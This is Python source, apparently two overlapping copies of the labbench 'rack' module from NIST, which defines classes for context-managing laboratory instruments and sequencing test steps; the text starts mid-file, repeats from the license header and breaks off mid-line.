index_col=0) for i, row in enumerate(table.index): util.logger.info( f"{self._owned_name} from '{str(path)}' " f"- '{row}' ({i+1}/{len(table.index)})" ) self.results = self(**table.loc[row].to_dict()) def _step(self, spec, kwargs): """ """ available = set(kwargs.keys()) def call(func): # make a Call object with the subset of `kwargs` keys = available.intersection(func.extended_argname_names()) params = {k: kwargs[k] for k in keys} return util.Call(func.extended_argname_call, **params) kws_out = {} for item in spec: if callable(item): name = item._owner.__class__.__qualname__ + "_" + item.__name__ kws_out[name] = call(item) elif isinstance(item, list): kws_out[name] = self._step(item, kwargs) else: msg = ( f"unsupported type '{type(item).__qualname__}' " f"in call sequence specification" ) raise ValueError(msg) return kws_out class OwnerContextAdapter: """transform calls to __enter__ -> open and __exit__ -> close. each will be called """ def __init__(self, owner): self._owner = owner self._owned_name = getattr(owner, "_owned_name", repr(owner)) display_name = getattr(self, "_owned_name", type(self).__name__) def __enter__(self): cls = type(self._owner) for opener in core.trace_methods(cls, "open", Owner)[::-1]: opener(self._owner) # self._owner.open() getattr(self._owner, "_logger", util.logger).debug("opened") def __exit__(self, *exc_info): cls = type(self._owner) methods = core.trace_methods(cls, "close", Owner) all_ex = [] for closer in methods: try: closer(self._owner) except BaseException: all_ex.append(sys.exc_info()) # Print tracebacks for any suppressed exceptions for ex in all_ex[::-1]: # If ThreadEndedByMaster was raised, assume the error handling in # util.concurrently will print the error message if ex[0] is not util.ThreadEndedByMaster: depth = len(tuple(traceback.walk_tb(ex[2]))) traceback.print_exception(*ex, limit=-(depth - 1)) sys.stderr.write("(Exception suppressed to continue close)\n\n") getattr(self._owner, "_logger", util.logger).debug("closed") def __repr__(self): return repr(self._owner) def __str__(self): return getattr(self._owner, "_owned_name", None) or repr(self) def recursive_devices(top): entry_order = list(top._entry_order) devices = dict(top._devices) name_prefix = getattr(top, "__name__", "") if len(name_prefix) > 0: name_prefix = name_prefix + "." for owner in top._owners.values(): children, o_entry_order = recursive_devices(owner) # this might be faster by reversing key and value order in devices (and thus children)? for name, child in children.items(): if child not in devices.values(): devices[name_prefix + name] = child entry_order.extend(o_entry_order) return devices, entry_order def flatten_nested_owner_contexts(top) -> dict: """generate a flattened mapping of context managers to that nested Owner classes Returns: mapping of {name: contextmanager} """ managers = {} for name, owner in top._owners.items(): managers.update(flatten_nested_owner_contexts(owner)) managers[name] = OwnerContextAdapter(owner) if getattr(top, "_owned_name", None) is not None: name = "_".join(top._owned_name.split(".")[1:]) managers[name] = OwnerContextAdapter(top) elif "" not in managers: managers[""] = OwnerContextAdapter(top) else: raise KeyError(f"2 unbound owners in the manager tree") return managers def package_owned_contexts(top): """ Make a context manager for an owner that also enters any Owned members (recursively) Entry into this context will manage all of these. Arguments: top: top-level Owner Returns: Context manager """ log = getattr(top, "_logger", util.logger) contexts, entry_order = recursive_devices(top) # like set(entry_order), but maintains order in python >= 3.7 entry_order = tuple(dict.fromkeys(entry_order)) order_desc = " -> ".join([e.__qualname__ for e in entry_order]) log.debug(f"entry_order before other devices: {order_desc}") # Pull any objects of types listed by top.entry_order, in the # order of (1) the types listed in top.entry_order, then (2) the order # they appear in objs first = dict() remaining = dict(contexts) for cls in entry_order: for attr, obj in contexts.items(): if isinstance(obj, cls): first[attr] = remaining.pop(attr) firsts_desc = "->".join([str(c) for c in first.values()]) # then, other devices, which need to be ready before we start into Rack setup methods devices = { attr: remaining.pop(attr) for attr, obj in dict(remaining).items() if isinstance(obj, core.Device) } devices_desc = f"({", ".join([str(c) for c in devices.values()])})" devices = util.concurrently(name="", **devices) # what remain are instances of Rack and other Owner types owners = flatten_nested_owner_contexts(top) owners_desc = f"({",".join([str(c) for c in owners.values()])})" # TODO: concurrent rack entry. This would mean device dependency # checking to ensure avoid race conditions # owners = util.concurrently(name='', **owners) # <- something like this # top._recursive_owners() # top._context.__enter__() # for child in top._owners.values(): # child.open() # top.open() # # the dictionary here is a sequence seq = dict(first) if devices != {}: seq["_devices"] = devices seq.update(owners) desc = "->".join( [d for d in (firsts_desc, devices_desc, owners_desc) if len(d) > 0] ) log.debug(f"context order: {desc}") return util.sequentially(name=f"{repr(top)}", **seq) or null_context(top) def owner_getattr_chains(owner): """recursively perform getattr on the given sequence of names""" ret = {owner: tuple()} for name, sub_owner in owner._owners.items(): # add only new changes (overwrite redundant keys with prior values) ret = { **{ obj: (name,) + chain for obj, chain in owner_getattr_chains(sub_owner).items() }, **ret, } return ret class Owner: """own context-managed instances of Device as well as setup and cleanup calls to owned instances of Owner""" _entry_order = [] _concurrent = True def __init_subclass__(cls, entry_order: list = None): # registries that will be context managed cls._devices = {} # each of cls._devices.values() these will be context managed cls._owners = ( {} ) # each of these will get courtesy calls to open and close between _device entry and exit cls._ownables = {} if entry_order is not None: for e in entry_order: if not issubclass(e, core.Device): raise TypeError(f"entry_order item {e} is not a Device subclass") cls._entry_order = entry_order cls._propagate_ownership() @classmethod def _propagate_ownership(cls): cls._ownables = {} # prepare and register owned attributes attr_names = set(dir(cls)).difference(dir(Owner)) # don't use cls.__dict__ here since we also need parent attributes for name in attr_names: obj = getattr(cls, name) if not isinstance(obj, util.Ownable): continue need_copy = isinstance(getattr(super(), name, None), util.Ownable) # prepare these first, so they are available to owned classes on __owner_subclass__ if isinstance(obj, core.Device): if need_copy: obj = copy.deepcopy(obj) cls._devices[name] = obj setattr(cls, name, obj) elif isinstance(obj, Owner): if need_copy: obj = copy.deepcopy(obj) cls._owners[name] = obj setattr(cls, name, obj) cls._ownables[name] = obj # run the hooks in owned classes, now that cls._devices and cls._owners are ready for them for name, obj in cls._ownables.items(): obj.__set_name__( cls, name ) # in case it was originally instantiated outside cls obj = obj.__owner_subclass__(cls) setattr(cls, name, obj) # propagate_owned_names(cls, cls.__name__) def __init__(self, **update_ownables): self._owners = dict(self._owners) # are the given objects ownable unownable = { name: obj for name, obj in update_ownables.items() if not isinstance(obj, util.Ownable) } if len(unownable) > 0: raise TypeError(f"keyword argument objects {unownable} are not ownable") # update ownables unrecognized = set(update_ownables.keys()).difference(self._ownables.keys()) if len(unrecognized) > 0: clsname = type(self).__qualname__ unrecognized = tuple(unrecognized) raise TypeError( f"cannot update unrecognized attributes {unrecognized} of {clsname}" ) self._ownables = dict(self._ownables, **update_ownables) # update devices update_devices = { name: obj for name, obj in update_ownables.items() if isinstance(obj, core.Device) } unrecognized = set(update_devices.keys()).difference(self._devices.keys()) if len(unrecognized) > 0: clsname = type(self).__qualname__ unrecognized = tuple(unrecognized) raise TypeError( f"{clsname} Device attributes {unrecognized} can only be instantiated with Device objects" ) self._devices = dict(self._devices, **update_devices) super().__init__() for obj in self._owners.values(): obj.__owner_init__(self) for obj in self._ownables.values(): # repeat this for Rack instances that are also Owners, # ensuring that obj._owned_name refers to the topmost # name obj.__owner_init__(self) def __setattr__(self, key, obj): # update naming for any util.Ownable instances if isinstance(obj, util.Ownable): self._ownables[key] = obj if getattr(obj, "__objclass__", None) is not type(self): obj.__set_name__(type(self), key) obj.__owner_init__(self) if isinstance(obj, core.Device): self._devices[key] = obj if isinstance(obj, Owner): self._owners[key] = obj object.__setattr__(self, key, obj) def close(self): pass def open(self): pass @property def __enter__(self): self._context = package_owned_contexts(self) @wraps(type(self).__enter__.fget) def __enter__(): self._context.__enter__() return self return __enter__ @property def __exit__(self): # pass along from self._context return self._context.__exit__ def override_empty(a, b, param_name, field): """return no more than non-EMPTY value between two Parameter fields, otherwise raises TypeError""" nonempty = {a, b} - {EMPTY} if len(nonempty) == 2: msg = f"conflicting {field} {nonempty} in aggregating argument '{param_name}'" raise TypeError(msg) elif len(nonempty) == 1: ret = tuple(nonempty)[0] if field == "annotation" and not inspect.isclass(ret): raise TypeError( f"type annotation '{ret}' for parameter '{param_name}' is not a class" ) return ret else: return EMPTY def update_parameter_dict(dest: dict, signature: inspect.Signature): """updates the dest mapping with parameters taken from inspect.Signature. Items with the same name and defaults or annotations that are not EMPTY must be the same, or TypeError is raised. """ # pull a dictionary of signature values (default, annotation) with EMPTY as a null sentinel value if not hasattr(signature, "parameters"): parameters = signature else: parameters = signature.parameters for name, param in parameters.items(): if param.kind is inspect.Parameter.POSITIONAL_ONLY: continue if name in dest: dest[name] = dest[name].replace( annotation=override_empty( dest[name].annotation, param.annotation, name, "annotation" ), default=override_empty( dest[name].default, param.default, name, "default" ), ) else: dest[name] = param.replace(kind=inspect.Parameter.KEYWORD_ONLY) def attr_chain_to_method(root_obj, chain): """follows the chain with nested getattr calls to access the chain object""" obj = root_obj for name in chain[:-1]: obj = getattr(obj, name) if hasattr(obj, "_methods"): return Method.from_method(obj._methods[chain[-1]]) attr = getattr(obj, chain[-1]) if isinstance(attr, Method): return Method.from_method(attr) else: return Method(obj, chain[-1]) def standardize_spec_step(sequence): """standardizes the sequence specification dict to {name: [list of methods]}""" if isinstance(sequence, (list, tuple)): # specification for a concurrent and/or sequential calls to Method methods sequence = list(sequence) elif isinstance(sequence, Method): # a Method method that is already packaged for use sequence = [sequence] elif inspect.ismethod(sequence): sequence = [Method(sequence.__self__, sequence.__name__)] else: typename = type(sequence).__qualname__ raise TypeError( f"object of type '{typename}' is neither a Rack method nor a nested tuple/list" ) return sequence class Sequence(util.Ownable): """Experiment definition from methods in Rack instances. The input is a specification for sequencing these steps, including support for threading. The output is a callable function that can be assigned as a method to a top-level "root" Rack. """ def __init__(self, **specification): self.spec = { k: standardize_spec_step(spec) for k, spec in specification.items() } self.access_spec = None def __owner_subclass__(self, owner_cls): if self.access_spec is None: # transform the objects in self.spec # into attribute names for dynamic access # in case of later copying and subclassing chain = owner_getattr_chains(owner_cls) self.access_spec = { k: [chain[s._owner] + (s.__name__,) for s in spec] for k, spec in self.spec.items() } return self def __owner_init__(self, owner): """make a sequence bound to the owner""" # in case this is added through a self.__owner_subclass__(type(owner)) super().__owner_init__(owner) # initialization on the parent class definition # waited until after __set_name__, because this depends on __name__ having been set for the tasks task spec = { k: [attr_chain_to_method(owner, c) for c in chain] for k, chain in self.access_spec.items() } self.last_spec = spec # build the callable object with a newly-defined subclass. # tricks ipython/jupyter into showing the call signature. ns = dict( sequence=spec, dependencies=self._dependency_map(spec), __name__=self.__name__, __qualname__=type(owner).__qualname__ + "." + self.__name__, __objclass__=self.__objclass__, __owner_subclass__=self.__owner_subclass__, # in case the owner changes and calls this again ) cls = type(BoundSequence.__name__, (BoundSequence,), ns) # Generate a signature for documentation and code autocomplete # params = [ # inspect.Parameter('self', kind=inspect.Parameter.POSITIONAL_ONLY), # ] # we need a wrapper so that __init__ can be modified separately for each subclass cls.__call__ = util.copy_func(cls.__call__) # merge together params = dict( self=inspect.Parameter("self", kind=inspect.Parameter.POSITIONAL_ONLY) ) for funcs in spec.values(): for func in funcs: update_parameter_dict(params, func.extended_signature()) cls.__call__.__signature__ = inspect.Signature(parameters=params.values()) # the testbed gets this BoundSequence instance in place of self obj = object.__new__(cls) obj.__init__() setattr(owner, self.__name__, obj) def _dependency_map(self, spec, owner_deps={}) -> dict: """maps the Device dependencies of each Method in spec. Returns: {Device instance: reference to method that uses Device instance} """ deps = dict(owner_deps) for spec in spec.values(): for func in spec: if not isinstance(func, (Method, BoundSequence)): raise TypeError( f"expected Method instance, but got '{type(func).__qualname__}' instead" ) # race condition check conflicts = set(deps.keys()).intersection(func.dependencies) if len(conflicts) > 0: users = {deps[device] for device in conflicts} raise RuntimeError( f"risk of concurrent access to {conflicts} by {users}" ) deps.update({device.__name__: device for device in func.dependencies}) return deps # def _aggregate_signatures(self, spec) -> inspect.Signature: # """aggregates calls from the Sequence specification into a Signature object # Arguments: # spec: nested list of calls that contains the parsed call tree # """ # agg_params = dict( # self=inspect.Parameter('self', kind=inspect.Parameter.POSITIONAL_ONLY) # ) # # collect the defaults # for funcs in spec.values(): # for func in funcs: # merge_keyword_parameters(agg_params, func.extended_signature().parameters) # return inspect.Signature(parameters=agg_params.values()) class RackMeta(type): """metaclass for helpful exceptions""" def __enter__(cls): raise RuntimeError( f"the `with` block needs an instance - 'with {cls.__qualname__}():' instead of 'with {cls.__qualname__}:'" ) def __exit__(cls, *exc_info): pass class Rack(Owner, util.Ownable, metaclass=RackMeta): """A Rack provides context management and methods for groups of Device instances. The Rack object provides connection management for all devices and data managers for `with` block:: with Rack() as testbed: # use the testbed here pass For functional validation, it is also possible to open only a subset of devices like this:: testbed = Rack() with testbed.dev1, testbed.dev2: # use the testbed.dev1 and testbed.dev2 here pass The following syntax creates a new Rack class for an experiment: import labbench as lb class MyRack(lb.Rack): db = lb.SQLiteManager() sa = MySpectrumAnalyzer() spectrogram = Spectrogram(db=db, sa=sa) """ def __init_subclass__(cls, entry_order=[]): cls._entry_order = entry_order # register step methods cls._methods = {} attr_names = sorted(set(dir(cls)).difference(dir(Owner))) # not using cls.__dict__ because it neglects parent classes for name in attr_names: obj = getattr(cls, name) if isinstance(obj, (core.Device, Owner, Sequence, BoundSequence)): continue if not name.startswith("_") and callable(obj): cls._methods[name] = obj # include annotations from parent classes cls.__annotations__ = dict( getattr(super(), "__annotations__", {}), **getattr(cls, "__annotations__", {}), ) cls.__init__.__annotations__ = cls.__annotations__ # adjust the __init__ signature for introspection/doc # Generate a signature for documentation and code autocomplete params = [ inspect.Parameter("self", kind=inspect.Parameter.POSITIONAL_ONLY), ] # generate and apply the sequence of call signature parameters params += [ inspect.Parameter( name, kind=inspect.Parameter.KEYWORD_ONLY, default=getattr(cls, name, EMPTY), annotation=annot, ) for name, annot in cls.__annotations__.items() ] # we need a wrapper so that __init__ can be modified separately for each subclass cls.__init__ = util.copy_func(cls.__init__) cls.__init__.__signature__ = inspect.Signature(params) super().__init_subclass__(entry_order=entry_order) def __init__(self, **ownables): # new dict mapping object for the same devices ownables = dict(ownables) annotations = dict(self.__annotations__) for name, dev in ownables.items(): # self.__annotations__.items(): try: dev_type = annotations.pop(name) except KeyError: raise NameError( f"{self.__class__.__qualname__}.__init__ was given invalid keyword argument '{name}'" ) if not isinstance(dev, dev_type): msg = ( f"argument '{name}' is not an instance of '{dev_type.__qualname__}'" ) raise AttributeError(msg) setattr(self, name, dev) # check for a valid instance in the class for each remaining attribute for name, dev_type in dict(annotations).items(): if isinstance(getattr(self, name, EMPTY), dev_type): del annotations[name] # any remaining items in annotations are missing arguments if len(annotations) > 0: kwargs = [f"{repr(k)}: {v}" for k, v in annotations.items()] raise AttributeError(f"missing keyword arguments {", ".join(kwargs)}'") # now move forward with applying the devices super().__init__(**ownables) # wrap self._methods as necessary self._methods = { k: (obj if isinstance(obj, Method) else Method(self, k)) for k, obj in self._methods.items() } def __deepcopy__(self, memo=None): """Called when an owning class is subclassed""" owners = {name: copy.deepcopy(obj) for name, obj in self._owners.items()} # steps = {name: copy.deepcopy(obj) for name, obj in type(self)._methods.items()} namespace = dict( __annotations__=type(self).__annotations__, __module__=type(self).__module__, **owners, ) # return self namespace.update(owners) subcls = type(self.__class__.__name__, (type(self),), namespace) return subcls(**self._devices) def __owner_init__(self, owner): super().__owner_init__(owner) def __getattribute__(self, item): if item != "_methods" and item in self._methods: return self._methods[item] else: return super().__getattribute__(item) def __getitem__(self, item): return self._methods[item] def __len__(self): return len(self._methods) def __iter__(self): return (getattr(self, k) for k in self._methods) def import_as_rack( import_str: str, cls_name: str = None, base_cls: type = Rack, replace_attrs: list = ["__doc__", "__module__"], ): """Creates a Rack subclass with the specified module's contents. Ownable objects are annotated by type, allowing the resulting class to be instantiated. Arguments: import_str: the name of the module to import cls_name: the name of the Rack subclass to import from the module (or None for a new subclass with the module contents) base_cls: the base class to use for the new subclass replace_attrs: attributes of `base_cls` to replace from the module Exceptions: NameError: if there is an attribute name conflict between the module and base_cls Returns: A dynamically created subclass of base_cls """ def isadaptable(name, obj): """skip function, module, and type attributes""" type_ok = not ( inspect.isclass(obj) or inspect.ismodule(obj) or inspect.isfunction(obj) ) # __name__ causes an undesired __name__ attribute to exist in the root Rack class # (this breaks logic that expects this to exist only in owned instances name_ok = name in replace_attrs or not name.startswith("_") return type_ok and name_ok module = importlib.import_module(import_str) if cls_name is not None: # work with the class specified in the module obj = getattr(module, cls_name) if issubclass(obj, base_cls): # it's already a Rack instance - return it return base_cls elif inspect.ismodule(obj): module = obj else: raise TypeError( f"{import_str}.{cls_name} is not a subclass of {base_cls.__qualname__}" ) dunder_updates = dict() else: cls_name = "_as_rack" dunder_updates = dict(__module__=import_str) namespace = { # take namespace items that are not types or modules attr: obj for attr, obj in module.__dict__.items() if isadaptable(attr, obj) } # annotate the rack, which sets up the constructor signature that we use for config namespace["__annotations__"] = dict( { name: type(obj) for name, obj in namespace.items() if isinstance(obj, util.Ownable) }, **getattr(module, "__attributes__", {}), ) namespace.update(dunder_updates) # raise NameError on redundant names - overloading could be # very messy in this context name_conflicts = ( set(namespace).intersection(base_cls.__dict__).difference(replace_attrs) ) if len(name_conflicts) > 0: raise NameError( f"names {name_conflicts} in module '{module.__name__}' " f"conflict with attributes of '{base_cls.__qualname__}'" ) # subclass into a new Rack return type(cls_name, (base_cls,), dict(base_cls.__dict__, **namespace))
# This software was developed by employees of the National Institute of # Standards and Technology (NIST), an agency of the Federal Government. # Pursuant to title 17 United States Code Section 105, works of NIST employees # are not subject to copyright protection in the United States and are # considered to be in the public domain. Permission to freely use, copy, # modify, and distribute this software and its documentation without fee is # hereby granted, provided that this notice and disclaimer of warranty appears # in all copies. # # THE SOFTWARE IS PROVIDED 'AS IS' WITHOUT ANY WARRANTY OF ANY KIND, EITHER # EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTY # THAT THE SOFTWARE WILL CONFORM TO SPECIFICATIONS, ANY IMPLIED WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND FREEDOM FROM # INFRINGEMENT, AND ANY WARRANTY THAT THE DOCUMENTATION WILL CONFORM TO THE # SOFTWARE, OR ANY WARRANTY THAT THE SOFTWARE WILL BE ERROR FREE. IN NO EVENT # SHALL NIST BE LIABLE FOR ANY DAMAGES, INCLUDING, BUT NOT LIMITED TO, DIRECT, # INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES, ARISING OUT OF, RESULTING FROM, # OR IN ANY WAY CONNECTED WITH THIS SOFTWARE, WHETHER OR NOT BASED UPON # WARRANTY, CONTRACT, TORT, OR OTHERWISE, WHETHER OR NOT INJURY WAS SUSTAINED # BY PERSONS OR PROPERTY OR OTHERWISE, AND WHETHER OR NOT LOSS WAS SUSTAINED # FROM, OR AROSE OUT OF THE RESULTS OF, OR USE OF, THE SOFTWARE OR SERVICES # PROVIDED HEREUNDER. Distributions of NIST software should also include # copyright and licensing statements of any third-party software that are # legally bundled with the code in compliance with the conditions of those # licenses. import contextlib import copy import importlib import inspect import logging import sys import time import traceback from functools import wraps from pathlib import Path import pandas as pd from . import _device as core from . import util as util EMPTY = inspect.Parameter.empty @contextlib.contextmanager def null_context(owner): yield owner class notify: """Singleton notification handler shared by all Rack instances""" # the global mapping of references to notification callbacks _handlers = dict(returns=set(), calls=set()) @classmethod def clear(cls): cls._handlers = dict(returns=set(), calls=set()) @classmethod def return_event(cls, returned: dict): if not isinstance(returned, dict): raise TypeError(f"returned data was {repr(returned)}, which is not a dict") for handler in cls._handlers["returns"]: handler(returned) @classmethod def call_event(cls, parameters: dict): if not isinstance(parameters, dict): raise TypeError( f"parameters data was {repr(parameters)}, which is not a dict" ) for handler in cls._handlers["calls"]: handler(parameters) @classmethod def observe_returns(cls, handler): if not callable(handler): raise AttributeError(f"{repr(handler)} is not callable") cls._handlers["returns"].add(handler) @classmethod def observe_calls(cls, handler): if not callable(handler): raise AttributeError(f"{repr(handler)} is not callable") cls._handlers["calls"].add(handler) @classmethod def unobserve_returns(cls, handler): if not callable(handler): raise AttributeError(f"{repr(handler)} is not callable") cls._handlers["returns"].remove(handler) @classmethod def unobserve_calls(cls, handler): if not callable(handler): raise AttributeError(f"{repr(handler)} is not callable") cls._handlers["calls"].remove(handler) class Method(util.Ownable): """Wrapper for class methods to support use with Sequence""" def __init__(self, owner, name, kwdefaults={}): super().__init__() def ownable(obj, name): return isinstance(getattr(self._owner, name), util.Ownable) self._owner = owner cls = owner.__class__ obj = getattr(cls, name) if isinstance(obj, Method): self._wrapped = obj._wrapped self._kwdefaults = dict(obj._kwdefaults) else: self._wrapped = obj self._kwdefaults = kwdefaults # self.__call__.__name__ = self.__name__ = obj.__name__ # self.__qualname__ = obj.__qualname__ self.__doc__ = obj.__doc__ self.__name__ = name self.__qualname__ = getattr(obj, "__qualname__", obj.__class__.__qualname__) self._introspect() setattr(owner, name, self) @classmethod def from_method(self, method): """make a new Method instance by copying another""" return Method(method._owner, method.__name__, method._kwdefaults) def __copy__(self): return self.from_method(self) def __deepcopy__(self, memo=None): return self.from_method(self) def _introspect(self): """update self.__signature__""" self.__call__ = util.copy_func(self.__call__) # note the devices needed to execute this function if isinstance(self._owner, Rack): annotations = getattr(self._owner, "__annotations__", {}) # set logic to identify Device dependencies available = {getattr(self._owner, name) for name in annotations} accessed = { getattr(self._owner, name) for name in util.accessed_attributes(self._wrapped) if not name.startswith("_") and hasattr(self._owner, name) } self.dependencies = available.intersection(accessed) else: self.dependencies = set() # get the signature, apply parameter defaults from self._kwdefaults sig = inspect.signature(self._wrapped) sig = sig.replace( parameters=( p.replace(default=self._kwdefaults.get(k, p.default)) for k, p in sig.parameters.items() ) ) # set the call signature shown by help(), or with ? in ipython/jupyter self.__call__.__signature__ = sig # remember only named keywords, not "*args" and "**kwargs" in call signatures SKIP_KINDS = ( inspect._ParameterKind.VAR_KEYWORD, inspect._ParameterKind.VAR_POSITIONAL, ) # self.args = list(sig.parameters.keys())[1:] # skip 'self' argument self._parameters = [ p for p in sig.parameters.values() if p.kind not in SKIP_KINDS ][1:] def set_kwdefault(self, name, value): self._kwdefaults[name] = value sig = self.__call__.__signature__ update = {name: sig.parameters[name].replace(default=value)} sig = sig.replace(parameters=dict(sig.parameters, **update).values()) self.__call__.__signature__ = sig # if value is EMPTY: # self._kwdefaults.pop(name, None) # elif name not in self.__signature__.parameters: # raise TypeError(f"{self} has no keyword argument {repr(name)}") # else: # self._kwdefaults[name] = value # self._introspect() # if value is EMPTY: # del self._kwdefaults[name] # else: # self._kwdefaults[name] = value # self.introspect() def extended_signature(self): """maps extended keyword argument names into a copy of self.__call__.__signature__""" sig = self.__call__.__signature__ ext_names = self.extended_argname_names() params = list(sig.parameters.values())[1:] return sig.replace( parameters=[param.replace(name=k) for k, param in zip(ext_names, params)] ) def extended_argname_names(self): sig = self.__call__.__signature__ prefix = self._owner.__name__ + "_" names = list(sig.parameters.keys())[1:] return [prefix + name for name in names] @util.hide_in_traceback def extended_argname_call(self, *args, **kws): """rename keywords from the long form used by an owning class""" i = len(self._owner.__name__) + 1 # remove the leading name of the owner kws = {k[i:]: v for k, v in kws.items()} return self.__call__(*args, **kws) @util.hide_in_traceback def __call__(self, *args, **kws): # validate arguments against the signature inspect.signature(self.__call__).bind(*args, **kws) # ensure that required devices are connected closed = [dev._owned_name for dev in self.dependencies if not dev.isopen] if len(closed) > 0: closed = ", ".join(closed) raise ConnectionError( f"devices {closed} must be connected to invoke {self.__qualname__}" ) # notify observers about the parameters passed name_prefix = "_".join(self._owner._owned_name.split(".")[1:]) + "_" if len(kws) > 0: notify_params = {name_prefix + k: v for k, v in kws.items()} notify.call_event(notify_params) # invoke the wrapped function t0 = time.perf_counter() ret = self._wrapped(self._owner, *args, **kws) elapsed = time.perf_counter() - t0 if elapsed > 0.1: util.logger.debug(f"{self._owned_name} completed in {elapsed:0.2f}s") # notify observers about the returned value if ret is not None: need_notify = ( ret if isinstance(ret, dict) else {name_prefix + self.__name__: ret} ) notify.return_event(need_notify) return {} if ret is None else ret def __repr__(self): try: wrapped = repr(self._wrapped)[1:-1] return f"<{wrapped} wrapped by {type(self).__module__}.{type(self).__name__} object>" except AttributeError: return f"<{type(self).__module__}.{type(self).__name__} wrapper>" class BoundSequence(util.Ownable): """callable realization of a test sequence definition which takes the place of Sequence objects on instantiation of a new Rack object. its keyword arguments are aggregated from all of the methods called by the Sequence. """ @util.hide_in_traceback def __call__(self, **kwargs): # validate arguments against the signature inspect.signature(self.__call__).bind(**kwargs) ret = {} for i, (name, sequence) in enumerate(self.sequence.items()): step_kws = self._step(sequence, kwargs) util.logger.debug( f"{self.__objclass__.__qualname__}.{self.__name__} ({i+1}/{len(self.sequence)}) - '{name}'" ) ret.update(util.concurrently(**step_kws) or {}) util.logger.debug(f"{self.__objclass__.__qualname__}.{self.__name__} finished") return ret @classmethod def to_template(cls, path): if path is None: path = f"{cls.__name__} template.csv" util.logger.debug(f"writing csv template to {repr(path)}") params = inspect.signature(cls.__call__).parameters df = pd.DataFrame(columns=list(params)[1:]) df.index.name = "Condition name" df.to_csv(path) def iterate_from_csv(self, path): """call the BoundSequence for each row in a csv table. keyword argument names are taken from the column header (0th row). keyword values are taken from corresponding column in each row. """ table = pd.read_csv(path, index_col=0) for i, row in enumerate(table.index): util.logger.info( f"{self._owned_name} from '{str(path)}' " f"- '{row}' ({i+1}/{len(table.index)})" ) self.results = self(**table.loc[row].to_dict()) def _step(self, spec, kwargs): """ """ available = set(kwargs.keys()) def call(func): # make a Call object with the subset of `kwargs` keys = available.intersection(func.extended_argname_names()) params = {k: kwargs[k] for k in keys} return util.Call(func.extended_argname_call, **params) kws_out = {} for item in spec: if callable(item): name = item._owner.__class__.__qualname__ + "_" + item.__name__ kws_out[name] = call(item) elif isinstance(item, list): kws_out[name] = self._step(item, kwargs) else: msg = ( f"unsupported type '{type(item).__qualname__}' " f"in call sequence specification" ) raise ValueError(msg) return kws_out class OwnerContextAdapter: """transform calls to __enter__ -> open and __exit__ -> close. each will be called """ def __init__(self, owner): self._owner = owner self._owned_name = getattr(owner, "_owned_name", repr(owner)) display_name = getattr(self, "_owned_name", type(self).__name__) def __enter__(self): cls = type(self._owner) for opener in core.trace_methods(cls, "open", Owner)[::-1]: opener(self._owner) # self._owner.open() getattr(self._owner, "_logger", util.logger).debug("opened") def __exit__(self, *exc_info): cls = type(self._owner) methods = core.trace_methods(cls, "close", Owner) all_ex = [] for closer in methods: try: closer(self._owner) except BaseException: all_ex.append(sys.exc_info()) # Print tracebacks for any suppressed exceptions for ex in all_ex[::-1]: # If ThreadEndedByMaster was raised, assume the error handling in # util.concurrently will print the error message if ex[0] is not util.ThreadEndedByMaster: depth = len(tuple(traceback.walk_tb(ex[2]))) traceback.print_exception(*ex, limit=-(depth - 1)) sys.stderr.write("(Exception suppressed to continue close)\n\n") getattr(self._owner, "_logger", util.logger).debug("closed") def __repr__(self): return repr(self._owner) def __str__(self): return getattr(self._owner, "_owned_name", None) or repr(self) def recursive_devices(top): entry_order = list(top._entry_order) devices = dict(top._devices) name_prefix = getattr(top, "__name__", "") if len(name_prefix) > 0: name_prefix = name_prefix + "." for owner in top._owners.values(): children, o_entry_order = recursive_devices(owner) # this might be faster by reversing key and value order in devices (and thus children)? for name, child in children.items(): if child not in devices.values(): devices[name_prefix + name] = child entry_order.extend(o_entry_order) return devices, entry_order def flatten_nested_owner_contexts(top) -> dict: """generate a flattened mapping of context managers to that nested Owner classes Returns: mapping of {name: contextmanager} """ managers = {} for name, owner in top._owners.items(): managers.update(flatten_nested_owner_contexts(owner)) managers[name] = OwnerContextAdapter(owner) if getattr(top, "_owned_name", None) is not None: name = "_".join(top._owned_name.split(".")[1:]) managers[name] = OwnerContextAdapter(top) elif "" not in managers: managers[""] = OwnerContextAdapter(top) else: raise KeyError(f"2 unbound owners in the manager tree") return managers def package_owned_contexts(top): """ Make a context manager for an owner that also enters any Owned members (recursively) Entry into this context will manage all of these. Arguments: top: top-level Owner Returns: Context manager """ log = getattr(top, "_logger", util.logger) contexts, entry_order = recursive_devices(top) # like set(entry_order), but maintains order in python >= 3.7 entry_order = tuple(dict.fromkeys(entry_order)) order_desc = " -> ".join([e.__qualname__ for e in entry_order]) log.debug(f"entry_order before other devices: {order_desc}") # Pull any objects of types listed by top.entry_order, in the # order of (1) the types listed in top.entry_order, then (2) the order # they appear in objs first = dict() remaining = dict(contexts) for cls in entry_order: for attr, obj in contexts.items(): if isinstance(obj, cls): first[attr] = remaining.pop(attr) firsts_desc = "->".join([str(c) for c in first.values()]) # then, other devices, which need to be ready before we start into Rack setup methods devices = { attr: remaining.pop(attr) for attr, obj in dict(remaining).items() if isinstance(obj, core.Device) } devices_desc = f"({', '.join([str(c) for c in devices.values()])})" devices = util.concurrently(name="", **devices) # what remain are instances of Rack and other Owner types owners = flatten_nested_owner_contexts(top) owners_desc = f"({','.join([str(c) for c in owners.values()])})" # TODO: concurrent rack entry. This would mean device dependency # checking to ensure avoid race conditions # owners = util.concurrently(name='', **owners) # <- something like this # top._recursive_owners() # top._context.__enter__() # for child in top._owners.values(): # child.open() # top.open() # # the dictionary here is a sequence seq = dict(first) if devices != {}: seq["_devices"] = devices seq.update(owners) desc = "->".join( [d for d in (firsts_desc, devices_desc, owners_desc) if len(d) > 0] ) log.debug(f"context order: {desc}") return util.sequentially(name=f"{repr(top)}", **seq) or null_context(top) def owner_getattr_chains(owner): """recursively perform getattr on the given sequence of names""" ret = {owner: tuple()} for name, sub_owner in owner._owners.items(): # add only new changes (overwrite redundant keys with prior values) ret = { **{ obj: (name,) + chain for obj, chain in owner_getattr_chains(sub_owner).items() }, **ret, } return ret class Owner: """own context-managed instances of Device as well as setup and cleanup calls to owned instances of Owner""" _entry_order = [] _concurrent = True def __init_subclass__(cls, entry_order: list = None): # registries that will be context managed cls._devices = {} # each of cls._devices.values() these will be context managed cls._owners = ( {} ) # each of these will get courtesy calls to open and close between _device entry and exit cls._ownables = {} if entry_order is not None: for e in entry_order: if not issubclass(e, core.Device): raise TypeError(f"entry_order item 